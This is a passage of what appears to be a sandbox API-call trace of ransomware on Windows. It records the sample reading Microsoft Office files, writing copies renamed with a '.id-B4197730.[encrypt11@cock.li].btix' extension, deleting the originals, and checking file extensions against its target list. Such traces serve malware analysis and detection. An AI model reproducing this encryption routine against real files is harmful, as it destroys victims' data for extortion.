lpNewFilePointer=0x0) returned 1 [0050.829] WriteFile (in: hFile=0x350, lpBuffer=0x4363f28*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc80, lpOverlapped=0x0 | out: lpBuffer=0x4363f28*, lpNumberOfBytesWritten=0x366fc80*=0x40000, lpOverlapped=0x0) returned 1 [0050.830] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.833] CloseHandle (hObject=0x350) returned 1 [0051.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0051.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0051.090] lstrlenW (lpString=".doc") returned 4 [0051.090] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.090] lstrlenW (lpString=".docx") returned 5 [0051.090] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0051.090] lstrlenW (lpString=".pdf") returned 4 [0051.090] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.090] lstrlenW (lpString=".xls") returned 4 [0051.090] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.090] lstrlenW (lpString=".xlsx") returned 5 [0051.090] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0051.090] lstrlenW (lpString=".ppt") returned 4 [0051.090] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0051.090] lstrlenW (lpString=".zip") returned 4 [0051.090] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.090] lstrlenW (lpString=".rar") returned 4 [0051.090] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.090] lstrlenW (lpString=".bz2") returned 4 [0051.090] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.090] lstrlenW (lpString=".7z") returned 3 [0051.090] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0051.090] lstrlenW (lpString=".dbf") returned 4 [0051.090] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0051.091] lstrlenW (lpString=".1cd") returned 4 [0051.091] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0051.091] lstrlenW (lpString=".jpg") returned 4 [0051.091] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0051.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0051.091] lstrlenW (lpString=".doc") returned 4 [0051.091] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.091] lstrlenW (lpString=".docx") returned 5 [0051.091] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0051.091] lstrlenW (lpString=".pdf") returned 4 [0051.091] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.091] lstrlenW (lpString=".xls") returned 4 [0051.091] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.091] lstrlenW (lpString=".xlsx") returned 5 [0051.091] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0051.091] lstrlenW (lpString=".ppt") returned 4 [0051.091] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0051.091] lstrlenW (lpString=".zip") returned 4 [0051.091] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.091] lstrlenW (lpString=".rar") returned 4 [0051.091] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.091] lstrlenW (lpString=".bz2") returned 4 [0051.091] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.091] lstrlenW (lpString=".7z") returned 3 [0051.091] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0051.091] lstrlenW (lpString=".dbf") returned 4 [0051.091] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0051.091] lstrlenW (lpString=".1cd") returned 4 [0051.092] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0051.092] lstrlenW (lpString=".jpg") returned 4 [0051.092] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.092] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.092] lstrlenW (lpString="AG00090_.GIF") returned 12 [0051.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.093] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=517) returned 1 [0051.093] CloseHandle (hObject=0x350) returned 1 [0051.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220 [0051.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.093] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.093] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.094] GetLastError () returned 0x0 [0051.094] ReadFile (in: hFile=0x350, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x205, lpOverlapped=0x0) returned 1 [0051.095] WriteFile (in: hFile=0x32c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x210, lpOverlapped=0x0) returned 1 [0051.095] ReadFile (in: hFile=0x350, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.095] WriteFile (in: hFile=0x32c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0051.096] SetEndOfFile (hFile=0x32c) returned 1 [0051.096] CloseHandle (hObject=0x32c) returned 1 [0051.097] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.097] SetEndOfFile (hFile=0x350) returned 1 [0051.097] CloseHandle (hObject=0x350) returned 1 [0051.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0051.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0051.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0051.098] lstrlenW (lpString=".doc") returned 4 [0051.098] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.098] lstrlenW (lpString=".docx") returned 5 [0051.098] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.098] lstrlenW (lpString=".pdf") returned 4 [0051.098] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.098] lstrlenW (lpString=".xls") returned 4 [0051.098] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.098] lstrlenW (lpString=".xlsx") returned 5 [0051.098] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.098] lstrlenW (lpString=".ppt") returned 4 [0051.098] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0051.098] lstrlenW (lpString=".zip") returned 4 [0051.098] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.098] lstrlenW (lpString=".rar") returned 4 [0051.098] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.098] lstrlenW (lpString=".bz2") returned 4 [0051.099] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.099] lstrlenW (lpString=".7z") returned 3 [0051.099] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0051.099] lstrlenW (lpString=".dbf") returned 4 [0051.099] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0051.099] lstrlenW (lpString=".1cd") returned 4 [0051.099] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0051.099] lstrlenW (lpString=".jpg") returned 4 [0051.099] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0051.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0051.099] lstrlenW (lpString=".doc") returned 4 [0051.099] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.099] lstrlenW (lpString=".docx") returned 5 [0051.099] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.099] lstrlenW (lpString=".pdf") returned 4 [0051.099] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.099] lstrlenW (lpString=".xls") returned 4 [0051.099] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.099] lstrlenW (lpString=".xlsx") returned 5 [0051.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.099] lstrlenW (lpString=".ppt") returned 4 [0051.099] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0051.099] lstrlenW (lpString=".zip") returned 4 [0051.099] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.099] lstrlenW (lpString=".rar") returned 4 [0051.099] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.099] lstrlenW (lpString=".bz2") returned 4 [0051.099] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.099] lstrlenW (lpString=".7z") returned 3 [0051.099] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0051.100] lstrlenW (lpString=".dbf") returned 4 [0051.100] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0051.100] lstrlenW (lpString=".1cd") returned 4 [0051.100] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0051.100] lstrlenW (lpString=".jpg") returned 4 [0051.100] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.100] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.100] lstrlenW (lpString="AG00092_.GIF") returned 12 [0051.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.100] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=502) returned 1 [0051.100] CloseHandle (hObject=0x350) returned 1 [0051.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220 [0051.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.101] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.101] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.101] GetLastError () returned 0x0 [0051.101] ReadFile (in: hFile=0x350, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x1f6, lpOverlapped=0x0) returned 1 [0051.102] WriteFile (in: hFile=0x32c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x200, lpOverlapped=0x0) returned 1 [0051.103] ReadFile (in: hFile=0x350, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.103] WriteFile (in: hFile=0x32c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0051.111] SetEndOfFile (hFile=0x32c) returned 1 [0051.111] CloseHandle (hObject=0x32c) returned 1 [0051.112] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.112] SetEndOfFile (hFile=0x350) returned 1 [0051.113] CloseHandle (hObject=0x350) returned 1 [0051.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0051.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0051.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0051.114] lstrlenW (lpString=".doc") returned 4 [0051.114] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.114] lstrlenW (lpString=".docx") returned 5 [0051.114] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.114] lstrlenW (lpString=".pdf") returned 4 [0051.114] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.114] lstrlenW (lpString=".xls") returned 4 [0051.114] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.114] lstrlenW (lpString=".xlsx") returned 5 [0051.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.115] lstrlenW (lpString=".ppt") returned 4 [0051.115] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0051.115] lstrlenW (lpString=".zip") returned 4 [0051.115] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.115] lstrlenW (lpString=".rar") returned 4 [0051.115] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.115] lstrlenW (lpString=".bz2") returned 4 [0051.115] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.115] lstrlenW (lpString=".7z") returned 3 [0051.115] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0051.115] lstrlenW (lpString=".dbf") returned 4 [0051.115] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0051.115] lstrlenW (lpString=".1cd") returned 4 [0051.119] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0051.119] lstrlenW (lpString=".jpg") returned 4 [0051.119] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0051.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0051.120] lstrlenW (lpString=".doc") returned 4 [0051.120] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.120] lstrlenW (lpString=".docx") returned 5 [0051.120] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.120] lstrlenW (lpString=".pdf") returned 4 [0051.120] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.120] lstrlenW (lpString=".xls") returned 4 [0051.120] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.120] lstrlenW (lpString=".xlsx") returned 5 [0051.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.120] lstrlenW (lpString=".ppt") returned 4 [0051.120] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0051.121] lstrlenW (lpString=".zip") returned 4 [0051.121] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.121] lstrlenW (lpString=".rar") returned 4 [0051.121] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.121] lstrlenW (lpString=".bz2") returned 4 [0051.121] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.121] lstrlenW (lpString=".7z") returned 3 [0051.121] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0051.121] lstrlenW (lpString=".dbf") returned 4 [0051.121] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0051.121] lstrlenW (lpString=".1cd") returned 4 [0051.121] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0051.121] lstrlenW (lpString=".jpg") returned 4 [0051.121] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.121] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.797] lstrlenW (lpString="AG00120_.GIF") returned 12 [0051.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0051.797] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=3484) returned 1 [0051.797] CloseHandle (hObject=0x324) returned 1 [0051.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0051.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0051.808] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.808] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0051.809] GetLastError () returned 0x0 [0051.809] ReadFile (in: hFile=0x324, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xd9c, lpOverlapped=0x0) returned 1 [0051.817] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xda0, lpOverlapped=0x0) returned 1 [0051.818] ReadFile (in: hFile=0x324, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.818] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0051.818] SetEndOfFile (hFile=0x370) returned 1 [0051.818] CloseHandle (hObject=0x370) returned 1 [0051.819] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.819] SetEndOfFile (hFile=0x324) returned 1 [0051.820] CloseHandle (hObject=0x324) returned 1 [0051.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0051.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0051.821] lstrlenW (lpString="C:\\Program Files\\Microsoft 